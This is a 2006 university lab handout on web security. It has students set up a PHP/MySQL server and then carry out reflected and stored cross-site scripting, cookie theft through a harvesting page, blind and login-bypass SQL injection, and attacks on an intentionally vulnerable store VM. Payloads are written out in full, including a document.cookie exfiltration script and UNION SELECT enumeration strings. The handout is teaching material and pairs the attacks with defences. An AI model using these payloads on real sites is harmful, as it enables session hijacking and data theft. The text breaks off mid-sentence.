I. Setting up Apache

advertisement
ECE4112 Internetwork Security
Lab 9: Web Security
Group Number: ____________
Member Names: _______________________ _______________________
Date Assigned: October 31 , 2006
Due Date: November 7, 2006
Last Edited on: November 7, 2006
Please read the entire lab and any extra materials carefully before starting. Be sure to start
early enough so that you will have time to complete the lab. Answer ALL questions on
the Answer Sheet and be sure you turn in ALL materials listed in the Turn-in Checklist
on or before the date due.
Goal: This lab will introduce you to several security issues involving web server
software and web applications.
Summary:
In this lab you will be learning about several techniques to attack web
applications as well as how to defend against them. First you will learn about “Cross Site
Scripting” and use your knowledge to experiment with a cross site scripting exploit.
Then, you will learn about SQL injection and use your knowledge to break into a
database driven website and then explain how to protect against such attacks. Then we
will tie them all together into a practical exercise.
Requirements:
 Red Hat WS 4
 SPI Dynamics VMware machine
Section 0: Setup
I. Setting up Apache
Apache should already be installed on your Red Hat WS 4.0 Machine. If it is not, please
follow the directions given in Lab 2. Make sure you have a directory called apache2
somewhere on your machine. Possible locations for this folder are /home/apache2,
/usr/local/apache2 or /var/local/apache2. In order to use php, we must modify our server’s
configuration file. This file called httpd.conf is located under the apache2 directory
(/conf/httpd.conf).
The following lines must be added. The best way to add these lines is to search for them
in the config file and place them below the commented examples.
LoadModule php4_module modules/libphp4.so
DirectoryIndex index.html index.html.var index.php (this replaces existing line)
1
AddType application /x-httpd-php .php
For reference, an httpd.conf file is placed on nas4112/Lab9/Examples
II. Setting up PHP
Now that we have our apache server configured, we need to make sure we can interpret a
php file located in .../apache2/htdocs.
First, locate php.ini (use the locate command; you may have to updatedb before you can).
More than likely php.ini is located in /etc/. Open php.ini and set the document root to the
path of your htdocs directory. For example, if apache2 is located in /usr/local, then find
the line in php.ini starting with doc_root and type the following:
doc_root = “/usr/local/apache2/htdocs/”
Remember, depending on the location of the apache2 directory, the above line may be
different.
Once you have completed this task, test out php by creating a sample file in
apache2/htdocs called test.php;
<?php phpinfo(); ?>
Now, restart apache by typing #/apache2/bin/apachectl restart. If you receive an error
about libphp4.so module not found, locate the libphp4.so file and copy to
/apache2/modules (probably located in /usr/lib/httpd/modules/)
Open up a web browser, and type http://localhost/test.php. If you see a page with a lot
of information formatted in a nice table, you have succeeded.
III. Setting up MySQL
To configure MySQL, open a terminal as root and do the following:
#service mysqld start
#mysqladmin –u root password password
In this lab, we will be using three databases. One will be used to store captured cookie
information, one will be used for a message board, and the third one will be used to store
login information. To create each of these databases, we will need to execute the
following commands.
First get a myslq> prompt by typing mysql –u root –h localhost –p
and then password for your password.
2
Type the following commands :
NOTE: All sql commands are provided in commands.sql under /Lab9 for your copying
pleasure.
mysql> create database ece4112;
mysql> use ece4112;
To create the cookies table:
mysql> CREATE TABLE `cookies` (
`id` int(11) NOT NULL auto_increment,
`username` varchar(100) NOT NULL default '',
`password` varchar(100) NOT NULL default '',
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=7 ;
mysql> INSERT INTO `cookies` VALUES (6, 'testertest', 'hilohilo');
To create the message board table:
mysql> CREATE TABLE `messages` (
`msg_id` int(11) NOT NULL auto_increment,
`title` varchar(50) NOT NULL default '',
`body` text NOT NULL,
PRIMARY KEY (`msg_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=19 ;
mysql> INSERT INTO `messages` VALUES (1, 'Test Message 1', 'This is a
test.');
mysql> INSERT INTO `messages` VALUES (2, 'Test Message 2', 'This is
another test.');
mysql> INSERT INTO `messages` VALUES (3, 'We love 4112', 'What a great
message.');
mysql> INSERT INTO `messages` VALUES (4, '42', 'Meaning of life the
universe and everything.');
mysql> INSERT INTO `messages` VALUES (5, 'Hello', 'Hey everyone!');
mysql> INSERT INTO `messages` VALUES (6, 'We need more messages', 'Here
is yet another message!');
mysql> INSERT INTO `messages` VALUES (7, 'Yo dude', 'Jeff should type
more of these.');
mysql> INSERT INTO `messages` VALUES (8, 'Lalala', 'Typing messages for
people.');
mysql> INSERT INTO `messages` VALUES (9, 'Yet another message', 'Here
is a hint. Post a message.');
To create the users table:
mysql>CREATE TABLE `users` (
`user_id` int(11) NOT NULL auto_increment,
`first_name` varchar(50) NOT NULL default '',
`last_name` varchar(50) NOT NULL default '',
`address` varchar(50) NOT NULL default '',
3
`city` varchar(50) NOT NULL default '',
`state` char(2) NOT NULL default '',
`zip` varchar(5) NOT NULL default '',
`phone` varchar(10) NOT NULL default '',
`email` varchar(50) NOT NULL default '',
`password` varchar(8) NOT NULL default 'password',
PRIMARY KEY (`user_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=5 ;
mysql>INSERT INTO `users` VALUES (1, 'Jeff', 'Jo', '1008 State Street',
'Atlanta', 'GA', '30318', '4041234567', 'jeff.jo@ece.gatech.edu',
'password');
INSERT INTO `users` VALUES (2, 'Tim', 'Jackson', '342 Hempill Avenue',
'Atlanta', 'GA', '30318', '7704325543', 'tim.jackson@ece.gatech.edu',
'password');
INSERT INTO `users` VALUES (3, 'Unsuspecting', 'User', '10 Hackme
Place', 'San Diego', 'CA', '45443', '3153332222',
'hackme@vulnerable.com', 'password');
INSERT INTO `users` VALUES (4, 'Henry', 'Owen', '10 Professors Place',
'New York', 'NY', '07321', '2124432345', 'henry.owen@professors.com',
'goodbye');
To create the login database.
mysql> create database my_database;
mysql> use my_database;
mysql> CREATE TABLE users (
id int(10) NOT NULL auto_increment,
username varchar(40),
password varchar(50),
regdate varchar(20),
email varchar(100),
website varchar(150),
location varchar(150),
show_email int(2) DEFAULT '0',
last_login varchar(20),
PRIMARY KEY(id));
After executing these commands, you should have two databases: ece4112 and
my_database. ece4112 has three tables: cookies, messages, and users. my_database has
one table: users.
Refer to Appendix C for more information about mysql statements.
Hopefully, everything has gone smoothly. Installing these three components are often
quite tricky. We have just done the basic configurations; however, all three can be
customized for various uses.
Section 1: Cross-Site Scripting
4
Before you begin, let’s grab the source code for all the PHP files you will be looking at
for this lab.
Copy the file \\57.35.6.10\secure_class\Lab9\ece4112-source.tar.gz to a location on your
local machine.
Unzip the files using “tar –xvzf” to extract them to /apache2/htdocs. You will refer to
these files later – they are also available in Appendix D.
Also, make sure your cookies are deleted before beginning this lab.
On your WS4 machine, open up the Firefox web browser.
Go to Edit -> Preferences -> Privacy
And click the “Clear” button next to “Cookies”
Background
Cross Site Scripting (CSS or XSS) refers to a vulnerability in web applications where an
attacker can “inject” code (usually Javascript) into a page in a manner such that the web
page subsequently executes the code. Since its discovery, the acronym for Cross Site
Scripting, CSS, has been replaced with XSS because of the obvious confusion with
Cascading Style Sheets.
XSS vulnerabilities appear in dynamic web applications that do not properly validate and
escape user input. The classic example is a search engine application that prints back the
original query to the user when listing the query’s results.
5
Figure: A sample search results page
In the above screenshot, the query, “cross site scripting” is displayed back to the user.
XSS has been categorized into three types:
 Type 0: DOM-based or local
 Type 1: Non-persistent or reflected, and
 Type 2: Persistent or stored
Type 0 DOM-based attacks rely on Javascript’s ability to be run with the full privileges
of the “local zone” if the code is executed from a page that resides on the client machine.
For example, if an attacker hosts a malicious site that links to a page on the client’s
machine that contains an XSS vulnerability, code can be executed with the privileges of
the user’s browser. Although DOM-based attacks can be very powerful, reflected and
persistent XSS attacks are more popular in practice and will be the focus of study in this
lab.
Section 1.1 – Type 1: Reflected XSS Attacks
Before you start, edit the web server address in the file
/apache2/htdocs/ece4112/common/web_server_ip.php to the ip of your host machine.
As cited earlier, the search engine that does not properly escape user input is an example
of a potential Type 1 XSS vulnerability.
On the WS 4 machine, open up the web browser and navigate to
http://<ip_address>/ece4112/searchengine/search.php. You’ll notice that this page
mimics the popular Google search engine.
6
Type in a query in the text input box and click the “Google Search” button. You’ll be
taken to a page that lists mock results, but notice near the top of the page that the query
you entered on the previous page is shown again on the page. Press back and type the
following query into the search box:
<input type= “text” value=“I Love ECE4112”>
Click the “Google Search” button. Notice that the search results now has a text box with
the default text set to “I Love ECE4112”. Now that we know we can type in any HTML
into the search box and have it executed by the search results page, let’s see what we can
do with Javascript. Hit the back button and type in the following query:
<script language=Javascript>alert(‘I Love ECE4112’);</script>
Click the “Google Search” button.
Q1.1.1 What happened when you are taken to the search results page?
Screenshot 1: Take a screen shot of the search results page showing the effects of the
injected script that you typed into the query box
Although this example is not very malicious or useful to an attacker, it’s a prime example
of how XSS vulnerabilities arise in web applications. Click OK on the dialog box if you
have not already done so.
URL variables are a way to pass data between subsequent page requests. This data is
passed via the URL line and takes the format:
http://<page address>?<variable name>=<variable value>&<variable
name>=<variable value>…
To summarize, the URL variables appear after the web page’s address followed by a “?”.
Then the variable name and variable value pairs are separated by a “&”.
Q1.1.2 Looking at the URL line at the top of the browser, what is value of the URL
variable “searchQuery”?
Right click in the browser window and select “View Page Source”. A copy of the source
has been included in Appendix D. Lines 9 and 10 are what interest us:
9:
10:
<strong>Your Search Query Was:</strong><br>
<? print $_GET[“searchQuery”];?><br/><br/>
For those who are not familiar with the PHP scripting language, all PHP code must be
enclosed within <? ?> tags. The “print” command simply writes its argument to the
7
output stream. The $_GET[] array is an array of URL variables that were passed in the
URL. A partial PHP reference has been included at the end of this lab.
Q1.1.3 What are these two lines of code doing in the context of the application?
One way to ensure that these web pages are not vulnerable to this type of attack, web
developers should ensure that any user input that is redisplayed in the browser is properly
formatted or quoted to display the actually value of the user input as opposed to
executing any code that may be present. Further discussion about how to combat XSS
vulnerabilities is included at the end of this section.
Q1.1.4 Take a look at Appendix B. Which PHP function may be useful for properly
handling user input?
Q1.1.5 Rewrite line 10 of the code above to reflect this change.
Now that you have seen a simple example of a reflected XSS attack, let’s move on to
something a bit more malicious.
Section 1.2 – Cookie Stealing and XSS
The HTTP protocol was designed to be a “stateless” protocol meaning subsequent
requests that are sent to a web server know nothing about each other. As web applications
became more complex a need to maintain certain state information across client requests
became necessary. One solution to this has been the adoption of web browser cookies.
Cookies are small text files (less than 4KB in size) that web applications create on a
client machine to maintain state.
The format of a cookie is outlined in RFC2965. (http://www.ietf.org/rfc/rfc2965.txt) The
attributes that we are interested in for the purposes of this lab are:
NAME
Specifies the name of the cookie and the
VALUE
Specifies the data value associated with this cookie
MAX-AGE
Specifies when the cookie should expire. An expired cookie should be deleted
DOMAIN
Specifies the domain for which this cookie is valid.
PATH
Specifies the path on the web server where this cookie applies.
8
The DOMAIN and PATH attributes listed above are of particular importance. They
prevent a web server whose domain and path values do not match what is contained in
the cookie from accessing the contents of the cookie. For example, if www.google.com
writes a cookie on your machine, then www.hotmail.com cannot read this cookie since
Hotmail’s domain does not match Google’s. Similarly, if a page in the path
www.google.com/search/ writes a cookie and specifies the PATH attribute to be
“www.google.com/search”, then another page with a different path (ex.
www.google.com/differentpath/) cannot access the cookie. We will revisit this a bit later.
Some common examples where cookies may be used are:
 In an online shopping application to keep track of what products a user has
looked at in order to deliver recommendations based on past activity
 To keep track of what is in a user’s online “shopping cart”
 To store a session id which tells the web server if the current user is logged in and
as a means for authentication
 To send annoying pop-ups based on a user’s past browsing habits.
Another very common use of a cookie can be seen in web applications that “remember” a
user’s username and password so that they don’t have to type it in every time they visit
the site. Hotmail (www.hotmail.com) is one site that uses cookies for this exact purpose.
Q1.2.1 Why are the DOMAIN and PATH attributes important in term of security?
(Hint: What kind of data may the cookie potentially contain?)
We will observe how XSS attacks can be used to steal sensitive information that may be
contained within a cookie. On your WS 4 machine, use the web browser to navigate to
http:// <ip_address>/ece4112/cookie/login.php. You’ll notice that this is a simple login
screen that is very commonly seen in many web applications that require authentication.
The page you are viewing takes as input a username and password and saves a cookie on
your local machine that contains the values that you entered. In a real world application,
your password would probably not be stored as plaintext in a cookie, but rather the hash
value of the password. Even though this practice is reasonably secure, hackers who have
access to these hashes may be able to crack them using offline password cracking
programs. Let’s suspend our disbelief for a while and continue with the plaintext version
of the password stored in the cookie.
To demonstrate that this login page works (somewhat), navigate to
http://<ip_address>/ece4112/cookie/welcome.php.
Q1.2.2 What happens when you try to go directly to the welcome page?
Browse back to http://<ip_address>/ece4112/cookie/login.php. Right click in the browser
window and select “View Page Source”. Take a look at the makeCookie() Javascript
function that is located near the top of the page. This function performs some basic
validation and makes the cookie once the login information is entered.
9
Take a look at the code after the else statement.
Q1.2.3 What are the two lines that start with “document.cookie = “ doing? List the
following attributes of the two cookies, NAME, MAX-AGE, PATH. Refer to the
Javascript reference located in Appendix A.
Enter your group number (eg. Group 36) for the name field
Make up a super secret password that you think would never be guessed by anyone in a
million years.
Click the “Login” button.
This will bring you to a welcome screen that greets you with a welcome message that
contains the name you entered on the previous page.
Q1.2.4 Look at the source of this page (/ece4112/cookie/welcome.php) in Appendix D
and describe a potential XSS vulnerability that exists on this page. (Hint: It’s near
the welcome message)
Now to ensure that the cookie has been saved properly let’s run some tests.
Test 1: Make sure that going to the site does not require you to log in again. Navigate to
http://<ip_address>/ece4112/cookie/welcome.php.
Q1.2.5 What happens this time when you go directly to the page?
Test 2: Let’s ensure that the PATH attribute of the cookie was set properly. As you
answered in a previous question, the PATH attribute of the cookie has been set to the
path that the web page is located in. That means another page that is located in a different
path on the web server cannot access the contents of the cookie. We demonstrate this
with a simple web page that prints out the value of the cookie.
Use your web browser to navigate to http://<ip_address>/ece4112/cookie/testcookie.php.
Take note of the path that this page is located in.
Q1.2.6 What do you see when you navigate to this page?
Now, user your web browser to navigate to
http://<ip_address>/ece4112/badcookie/testcookie.php. Notice that the path of this page
is different.
Q1.2.7 What is different when you navigate to this page? Why is this so?
10
Now that we have demonstrated that the cookie has been written and the path attribute set
correctly, let’s demonstrate the attack. The scenario for this attack is an attacker knows
that you have a user name and password to this site and wishes to exploit the fact there
exists an XSS vulnerability on the site. He sends you a malicious e-mail which will carry
out his attack. We simulate this email in the form of a web page. Since most email clients
today support HTML code in the body of email messages, this is a plausible scenario.
Use your browser to navigate to http://<ip_address>/ece4112/badcookie/bademail.php.
You will see that this email simply tells you to log into the site to update your financial
information. Set aside your best moral judgment for the time being and click the “Login
to Website” link.
Q1.2.8 What happens when you click the link? Does it seem as though anything
malicious has occurred?
Let’s take a look at what’s going on behind the scenes. Navigate back to
http://<ip_address>/ece4112/badcookie/bademail.php. Right click in the browser window
and select “View Page Source”. A copy of the source code is also available in Appendix
D.
The important lines that should be noted are the lines that contain the <a> tag that links to
the website.
Q1.2.9 What do you think the <a> tag in the malicious tag is doing.
Use your browser to navigate to http://<ip_address>/ece4112/badcookie/mycookies.php.
This page simply prints out all cookies that have been collected by the malicious attacker.
Q1.2.10 Do you see your group name and super secret password?
Q1.2.11 Review the source code for harvestcookies.php in Appendix D. What is this
program doing?
Q1.2.12 When the link in the email was clicked, why did it seem as though no
malicious activity took place?
An attacker could have disguised their mischief even further by escaping the malicious
<a> tag with its hexadecimal equivalent. For example:
“<a href” could have been written in the code as its hexadecimal equivalent:
%3C%61%20%68%72%65%66.
Section 1.3 – Type 2 – Persistent XSS attacks
A third way attackers can exploit XSS vulnerabilities is by using a persistent, or stored
form of XSS attack. In this form, the attacker relies on an application that stores data in a
11
database and displays this data to unsuspecting victims at a later time. A classic example
of this type of attack can be found on web-based message board or newsgroup
applications. A vulnerability in one of these types of applications arises when the code
does not properly escape message that have been posted by users. Similar to the cookie
attack that we saw in the previous section, an attacker could post a message which steals
the user’s cookie. When unsuspecting users go to view that message, they would
inadvertently open up the page which prints out the un-escaped message and
subsequently, their cookie would be stolen. Hackers could use this type of attack to
potentially target large numbers of users.
Using your web browser, navigate to http://<ip_address>/messageboard/login.php.
Enter your group number (eg. Group 36) for the name field
Make up a different password than the one you used in the previous exercise.
Click the “Login” button.
You will be taken to a page that greets you with a welcome message and a list of forum
message that have been posted to the server. Clicking any of these titles will bring you to
a page that allows you to view the contents of the message.
Q1.3.1 Look at the source code for messages.php and view_message.php, which can
be found in APPENDIX D. Point out the parts of the code where an XSS
vulnerability exists.
Click the “Post Message” button. This will bring to a page where you can post a new
message to the forum. In the “Message Title” field, type in a title that may tempt a user to
click on the message (use your imagination). In the “Message Body” field, enter the
following text:
<script>document.location="http://localhost/ece4112/badcookie/harvestcookies.php?suck
er2=" + document.cookie;</script>
Q1.3.2 What does the above code do?
Click the “Post Message” button to post your message. You will be taken to a page which
confirms that you have just posted a message. Click the “Back to List Messages” link to
go back to the list of messages. Click the message title of the message you just posted.
Q1.3.3 What happens when you click the message title? Does it look like anything
malicious has occurred? Explain what has just happened.
To further reinforce how this vulnerability can be exploited your next task is to post a
simple message which takes advantage of the vulnerability.
12
Q1.3.4 Post a message that, when clicked, will pop up an alert window with a
message. What is the text you entered in the message body field to achieve this?
Screenshot 2: Click on the message that you have just created and take a screenshot
of the exploit in action (the browser window with the alert window).
How to combat XSS
There are several ways to combat the XSS vulnerabilities presented in this lab. One
definitive way to combat Javascript attacks is for users to disable Javascript on their web
browsers. This, however, is not a feasible solution as many websites today require that
Javascript be enabled. Because of the inherent vulnerabilities present in Javascript, many
web application developers today are moving towards writing code that does not require
the use of Javascript.
The other, more viable alternative is for web developers to be informed of these types of
attacks and write code that is not vulnerable. Developers should validate all user input.
For example, if an input field should not contain a class of special characters (such as an
email address, the input should be rejected by the application. Almost all of the reputable
programming languages that are available to web developers include special functions
that “sanitize” any dynamic text that is displayed to users. What this does is escape any
special characters into their HTML equivalents, so that they cannot be injected into the
page. This method, however, is limiting to web applications that allow users to post
HTML formatted messages.
A more difficult alternative is for developers to write code that allows user-supplied
HTML in the output of the web page, but checks the data and prevents any blacklisted
code from being displayed.
Section 2: SQL Injection on Linux Apache Web Server
Background
SQL injection is an attack vector against sites which utilize SQL databases to store and
retrieve data. The goal is to modify variables being sent by the webpage to the database
and so cause the return value to be something other than what the page creater intended.
The primary vector of SQL injection is to take advantage of the fact that SQL statements
can be chained together using the ; and ' characters. It is therefore possible to modify the
SQL statement SELECT * FROM atable WHERE column=1 to SELECT * FROM atable
WHERE column='(SELECT COUNT(*) FROM atable)' and that will cause the statement
to return the last row. This is useful as it will indicate how many rows there are in the
table. Other subqueries may yield equally useful information.
The best defense against SQL injection is input validation. All input from the client
should be validated to ensure its proper type. If a number is expected, strings should not
13
be accepted. Strings should not be allowed to contain ''','@', or ';' characters. These
special characters can be escaped and restored upon retrieval.
Section 2.1 – Introductory Exercises
There are several ways to launch a SQL Injection attack. The simplest is by modifying
arguments in the URL; for instance, changing the
http://www.hackme.com/index.php?msg_id=23 to msg_id=24. This is a trivial change,
but it is useful to see what happens.
Use a web browser to go to http://<ip_address>/ece4112/messageboard/messages. You
will need to create a login before you are allowed to view messages. (See earlier part of
lab for how to do this.) View the messages and click on a single message. You will note
the value of the msg_id in the URL. Modify it and watch what happens. If you select a
message that exists, you will get that message, if not you will get an error message. On
many systems, particularly those powered by Microsoft's ASP pages, the error messages
that come back can be very useful. This is a useful thing to note. Set the msg_id to 1ee7
and load the page.
Q2.1.1 What message do you get back when you set the msg_id value to 1ee7?
Looking at view_messages.php in appendix D, you will see that the site uses a query:
SELECT * FROM messages WHERE msg_id=<number>
That number comes from the msg_id= field in the URL. By changing it, we are able to
insert whatever we want, including other queries. This is the most common vulnerability.
One way this can be useful is to get information about a database. In this case, we want
to know how many users are in the database. Change the URL to be
http://<ip_address>/ece4112/messageboard/view_messages.php?msg_id=(SELECT
COUNT(*) FROM users)
This will cause msg_id to be the return of the subquery (SELECT COUNT(*) FROM
users). COUNT() returns the number of items in a list and * is a wild character meaning
all. So, we are going to count the number of rows in the users table. The SELECT is
necessary to make a proper query and return the output of COUNT(). So, if there were
100 users in the database, we should get back message 100. Note the "Message ID:"
entry on the page. This will tell you which message was actually returned by the query,
since the msg_id variable will still look like your subquery.
Q2.1.2 Which message do you get back when running
http://<ip_address>/ece4112/messageboard/view_messages.php?msg_id=(SELECT
COUNT(*) FROM users)?
14
Section 2.2 – Blind SQL Injection
Sometimes, such as on the system you are attacking the error messages are not
particularly useful. However, that does not mean you cannot use them. Change the URL
so that the msg_id value is 0.
Q2.2.1. What happens?
Use msg_id=1.
Q2.2.2. What happens?
We now have a method of retrieving information via a boolean output; error or no error.
The database contains a table called users which has a column called password. Your
mission is to retrieve a password from the users table.
The first step is to decide what the query would be if it could be run directly. In this case,
it would be:
SELECT password FROM users WHERE user_id = SomeNumber
It is not possible for you to directly make this query. You will have to trick the database
into giving you back the information. Since we already know the user_id of the last user
in the database, we are going to steal that person's password. The first step is to figure
out how long the password is. To do this, you want the LENGTH() operator. Your query
now becomes SELECT LENGTH(password) FROM users WHERE user_id =
UserIDYouStole. This should now take you to the message that corresponds to the
number of characters in the password. Make this your subquery at the end of the URL.
Q2.2.3. How long is the password we are going to steal?
We now need to actually retrieve the password. To do this, we need the LEFT() operator.
LEFT() takes in two parameters: column name and number of characters. We can
therefore run the query SELECT LEFT(password, 1) FROM users WHERE user_id=
UserIDYouStole to get the first character in the password field. Unfortunately, we can't
return that directly. We can, however, return the comparison of that character to another
by the < or > operators. Since TRUE=1 and FALSE=0, we can use this as part of a
WHERE clause to return output even if we can't get actual error messages. This allows
us to build the subquery ((SELECT LEFT(password,1) FROM users WHERE
user_id=UserIDYouStole) < 'n'). So, our URL now looks like
http://<ip_address>/messageboard/view_messages.php?msg_id=((SELECT
LEFT(password,1) FROM users WHERE user_id=UserIDYouStole) < 'n'). Look at
view_message.php in appendix D.
Q2.2.4. What is the $SQL variable going to be when it is submitted to the database?
15
We know that the Message ID field will tell us whether the output from our subquery was
a 1 or a 0. Using this, you can do a search by changing the 'n' to whatever string you
want to guess. Once you have found the first character, change the argument to
LEFT(password,2) and start using two character strings, say 'no' if n was the first
character. Remember to change <b>only</b> the last character.
Q2.2.5. What is the user_id/password combination you stole?
Q2.2.6. How might a web developer prevent this type of data theft?
Section 2.3 – Faulty Login Page
Now that we have seen sql injection directly into the url, it is time to see how a faulty
login can provide us the same results. In this exercise, we will be looking at two login
pages: one that is not secure and one that has been hardened. You will be comparing the
difference between the two in the next section. But for now, we will just see how a fault
login can be extremely dangerous.
From NAS, get the file php_login.tar.gz. Place the un-tarred folder in /apache2/htdocs.
In a web browser, go to http://<your ip address>/php_login/login_corrupt.php.
Try a random username and password and observe what happens.
A statement like the one below should be displayed:
SELECT username FROM users WHERE username = ‘group1’ and password = ‘group1’
This print out is not usually part of the error message; rather it was printed so you could
see the kind of sql statement generated to check the username and password.
Go back to the login page and now type in the username field:
<your group name>’ –
and junk for your password.
Q2.3.1 What happened? Explain why this sql injection worked. (Hint: what is -- in a
sql statement?)
Q2.3.2 List at least three other similar sql injection code snippets that could be used
to exploit this login?
Screenshot 3: Take a screen shot of a successful login.
16
Section 2.4 – Securing the Login Page
Now that we have seen what a corrupt login looks like, we can investigate how to secure
the login page.
In a web browser, go to http://<your ip address>/php_login/login.php. Play around with
the login page.
To register a username, go to http://<your ip address>/php_login/register.php
Try sql injection statements in login.php. What happens?
Now open up login.php.
Q2.4.1 How are the passwords stored in the database? For verification, go to the
database in mysql and view the contents of table users by typing select * from users.
Q2.4.2 How is the username and password verification different in login.php versus
login_corrupt.php?
Q2.4.3 What does the get_magic_quotes_gpc() function do?
Q2.4.4 Explain the general strategy in preventing sql injection statements.
Section 3: Practical Web Exercise on Windows Server
Copy the image called Exploit-IBuySPI-VMWare.zip from the NAS server to your root
directory. Unzip the file using the unzip command.
Follow normal procedures to create the virtual machine. When creating the virtual
machine, you may be prompted about upgrading. If so, click on the upgrade button.
Starting the Image
The username is “administrator” and the password is “pass.” This machine will run IIS,
iPlanet, MSDE (sql server), and DNS. Although a Windows update icon displays the
message “Click here to update,” do not run Windows update or portions of this website
may stop working. To access the website, enter http://172.16.10.17/ into the browser’s
address bar. You will be forwarded to the portal located at
http://172.16.10.17/StoreCSVS/. The first time you access this portal (after booting up
your computer) will be very slow. This is normal and can’t be avoided. Subsequent
accesses will occur at normal speed.
17
Creating an Account
It is important that you register and create an account on this portal.
1. Click Sign In on the upper right navigation bar.
2. When the Sign In page appears, click Register. You will then be asked to create
an account.
3. Enter your name, e-mail address, and password, and then click Submit.
The web site will display the Shopping Cart page.
Investigating Vulnerabilities
After creating an account, you will need to log into it. To do this, click Sign In on the
navigation bar at the top of the page. You can then continue to the vulnerability sections
below.
Section 3.1 Cross-Site Scripting
Once you are logged in:
1. Click WWWBoard on the navigation bar.
2. When the “Post a Message” form appears, enter your name and type a subject in
the subject line.
3. In the Message box, type:
<script>alert(document.cookie);</script>
4. Click Post message.
Although the application executes your JavaScript, displaying an alert box that
contains your cookie information, this is not the actual attack. The attack occurs
in step 6.
5.
Click OK to close the alert box.
6. Next, click Go to Your Message.
When you visit this page, a box will pop up and display your cookie information.
If an attacker can execute this JavaScript, then an attacker can also steal your
cookie. If an attacker can steal your cookie, then an attacker can log in under your
account and gain control over it. For additional information on how an attacker
can steal your cookie, go to http://www.cgisecurity.com/articles/xss-faq.shtml.
7. Click OK to close the alert box.
Section 3.2 Directory Indexing
18
Sometimes when you browse a web site, you see a list of files instead of a rendered
HTML page. This occurs when the website developer neglects to include an index page
in the current directory, potentially exposing important files.
Go to the main page by clicking this icon
in the left column.
Notice the SPIDynamics logo at the very top of the main page (Default.aspx). If you
hover your mouse over the logo, you will see that it links to “/admin/show.asp.” If you
delete the “show.asp” portion, you will get a directory listing. If you click on
database.mdb or WS_FTP.LOG, you will get all kinds of useful information that the site
owner probably doesn’t want you to have. An easy fix to prevent directory listings is to
put in a default.asp, index.shtml, or index.html file (others may exist, depending on
server’s configuration).
Section 3.3 – Predictable File Location
As the title implies, these are files that we think are probably going to exist. One of the
most common files a website or piece of software will have is readme.txt. Paste the
following URL into your browser’s address box and click Go:
http://172.16.10.17/readme.txt
You will notice that this file not only exists, but also contains a note by the administrator.
We will talk about the content of this note a little more below.
Section 3.4 – OS Commanding
In our “Predictable File Location” vulnerability, we referenced a file named readme.txt
by guessing it. It contains a note from the system administrator that appears to be directed
to other website developers. It looks like the Default.aspx application has a hidden
administrative function called AdminMode that allows you to execute commands
remotely. If you try one of the examples in this note, you will find you can execute
Windows commands!
Section 3.5 – Filename Manipulation
Filename Manipulation involves modifying the filename in an attempt to find backup
copies of a particular file. For example, a file named index.shtml may have a backup
copy named index.shtml.old or index.shtml.bak in the same directory. Let’s start by
guessing a few filenames. We know the file http://172.16.10.17/StoreCSVS/web.config
contains important information about the portal, and may contain login information for
the database. By default, ASP.NET denies access to this file for security reasons (which
is a good thing).
What if someone created a backup copy?
Let’s start by entering in common backup filenames. If you search for web.config.txt or
web.config.old, you get nothing. If you enter web.config.bak, you will get a copy of the
web.config file. This copy is more then likely just a backup, and may not always contain
the same information. Either way, this information can be extremely valuable to an
attacker.
19
Section 3.6 – SQL Injection
On the lower left corner of the website’s home page, click Recover your account
password. You will see the Full Name and Email fields. If you type a single quote
(apostrophe) in the Full Name field and enter a random e-mail address, and then click
Submit, the program will return “Unclosed quotation mark before the character string
‘‘‘.” This by itself will not give you any data. If you would like to extract information
from the database, type the following in the Full Name field and then click Submit.
' UNION SELECT name FROM sysobjects WHERE name != ' d
This command asks the SQL server for a list of table names that store data. Now you
should see the word “Categories” appear on your screen. This is the name of a table in
our database.
Next, try sending:
' UNION SELECT name FROM sysobjects WHERE name > 'Categories
You will now see the word “CustomerAdd” returned. At this point, you are enumerating
through the database.
Next, send:
' UNION SELECT name FROM sysobjects WHERE name > 'CustomerAdd
and you will go to the next entry.
Section 3.7 – Information Leakage
Information leakage is when an attacker can obtain “leaked information.” This can
include everything from a machine name to a directory path. Click Munitions in the left
column to access the Munitions page, then click Multi-Purpose Rubber Band. The
URL displayed in the address bar is:
http://172.16.10.17/storecsvs/(<yoursessionidgoeshere>)/ProductDetails.aspx? productID=363.
If you append a nonnumeric character after “363” and click Go, the webserver will return
an error message revealing the server path, a nonpublic filename
(\\172.16.10.17\ibuy\StoreCSVS\ProductDetails.aspx.cs), and a few developer comments.
This information gives the attacker an idea of the .NET libraries you are using, which can
help aid additional attacks.
Note: The following sections may give you some problems. If you have too much
trouble running the rest of section 3.*, skip to Section 4.
Section 3.8 – Insufficient Process Validation and Authorization
Return to the main page and click on the Manage Banners link. If you click on this link,
it will warn you that you need to be an administrative user to perform this function. This
application checks to see who you are logged in as. If your login name matches an entry
in the administrative list, the program forwards you to the admin.aspx page. The problem
here is that if you enter “admin.aspx” directly, then you will be able to access
20
administrative functions. It makes the erroneous assumption you have followed a certain
process to gain access to a page.
Section 3.9 – Credential/Session Prediction
For this example, we will use the SPI Proxy tool that is bundled with WebInspect:
1. On the Windows taskbar, click the Start button, and then click Programs.
2. Click SPIDynamics, select Tool Kit and click SPIProxy.
3. Click Proxy menu and select Start.
4. Click HTTP Editor twice to launch two instances of the HTTP Editor tool.
By default our HTTP Editor tool blocks images, making things easy for people
who don’t need them (99.99% of users). Since we actually want them, we need to
enable run SPIProxy (in case you are wondering why we started it).
5. Access the first instance of HTTP Editor.
6. Enter http://172.16.10.17/storecsvs/ into the drop-down combo box at the top.
7.
Click Send.
8. Click the Browse tab on the bottom pane, and click on the hyperlink “here.”
9. Click Send.
10. You will see the website on the Browse tab. In this tab, click the hyperlink
General in the column on the left. The contents of the Request tab will change.
11. Click Send.
12. Click the Contact Lenses hyperlink in the Browse tab, then click Send.
13. Scroll down and click Add to Cart, then click Send.
14. As earlier, click the here hyperlink, then click Send.
You will now have items in your shopping cart. You will also notice the cookie
IBuySpy_CartID=<value> in the Request tab.
15. Now access the second instance of HTTP Editor.
16. Enter http://172.16.10.17/storecsvs/ into the drop-down combo box at the top.
17. Click Send.
18. Click the Browse tab on the bottom pane, and click on the hyperlink “here.”
21
19. Click Send.
20. On the Browse tab, click the hyperlink Travel in the column on the left.
21. Click Send.
22. Click the Escape Cord hyperlink, then click Send.
23. Click Add to Cart, then click Send.
24. Click the here hyperlink, then click Send.
The Request tab displays another cookie. This cookie has a higher value than the
previous cookie. If you look carefully, you can see this cookie is actually the
